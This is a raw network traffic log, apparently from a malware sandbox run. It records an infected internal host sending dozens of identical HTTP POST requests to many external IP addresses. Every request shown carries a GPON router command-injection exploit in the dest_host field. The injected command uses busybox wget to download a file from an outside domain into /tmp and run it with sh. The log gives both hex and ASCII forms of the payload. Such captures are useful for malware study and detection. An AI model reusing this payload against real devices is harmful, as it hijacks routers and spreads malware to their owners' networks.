Apr 14, 2024 03:59:51.773102045 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
638	192.168.2.13	46036	148.130.107.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773133039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
639	192.168.2.13	59876	79.209.91.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773164034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
640	192.168.2.13	44130	79.152.155.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773188114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
641	192.168.2.13	34162	94.97.170.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773236990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
642	192.168.2.13	46626	109.200.64.179	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773264885 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
643	192.168.2.13	58560	118.181.82.86	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773267031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
644	192.168.2.13	35220	123.61.181.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773296118 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
645	192.168.2.13	35232	202.119.243.213	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773345947 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
646	192.168.2.13	43768	118.203.78.210	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773377895 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
647	192.168.2.13	36786	37.112.125.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773396015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
648	192.168.2.13	45664	202.135.109.57	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773406029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
649	192.168.2.13	43600	94.0.251.76	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773432970 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
650	192.168.2.13	58426	178.218.177.203	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773459911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
651	192.168.2.13	45634	2.220.9.142	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773473024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
652	192.168.2.13	49010	212.112.194.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773521900 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
653	192.168.2.13	56638	5.179.103.70	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773551941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
654	192.168.2.13	55306	5.152.56.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773576975 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
655	192.168.2.13	32882	5.248.222.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773597002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
656	192.168.2.13	38726	210.104.100.119	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773607969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
657	192.168.2.13	46230	123.128.252.227	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773633957 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
658	192.168.2.13	38370	118.96.183.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773659945 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
659	192.168.2.13	39218	94.59.175.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773684025 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
660	192.168.2.13	35924	210.113.82.100	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773714066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
661	192.168.2.13	50514	79.124.176.146	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773749113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
662	192.168.2.13	44576	178.108.70.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:51.773791075 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
